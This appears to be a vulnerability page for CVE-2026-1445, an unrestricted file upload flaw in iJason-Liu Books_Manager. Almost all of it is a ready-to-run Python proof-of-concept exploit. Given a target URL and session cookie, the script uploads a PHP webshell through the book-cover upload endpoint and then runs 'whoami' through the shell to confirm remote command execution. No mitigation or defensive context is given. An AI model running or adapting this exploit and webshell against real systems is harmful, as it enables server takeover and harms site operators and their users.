CVE-2026-1445 iJason-Liu Books_Manager任意文件上传漏洞

import requests import sys # CVE-2026-1445 PoC - Arbitrary File Upload in Books_Manager # Target: iJason-Liu Books_Manager # Vulnerability: Unrestricted upload in controllers/books_center/upload_bookCover.php # Authentication: Required (High Privilege) def upload_shell(target_url, session_cookie): """ Upload a PHP webshell to target server """ # Prepare malicious PHP webshell webshell_content = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' # Upload endpoint upload_url = f"{target_url}/controllers/books_center/upload_bookCover.php" # Prepare multipart form data files = { 'book_cover': ('shell.php', webshell_content, 'application/x-php') } headers = { 'Cookie': session_cookie, 'X-Requested-With': 'XMLHttpRequest' } try: response = requests.post(upload_url, files=files, headers=headers, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") # Try to access the uploaded shell shell_url = f"{target_url}/uploads/shell.php" test_cmd = requests.get(f"{shell_url}?cmd=whoami", timeout=10) if test_cmd.status_code == 200: print(f"[+] Webshell accessible at: {shell_url}") print(f"[+] Command execution confirmed: {test_cmd.text.strip()}") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: python {sys.argv[0]} http://target.com 'PHPSESSID=abc123'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2026-1445: Unrestricted File Upload") upload_shell(target, cookie)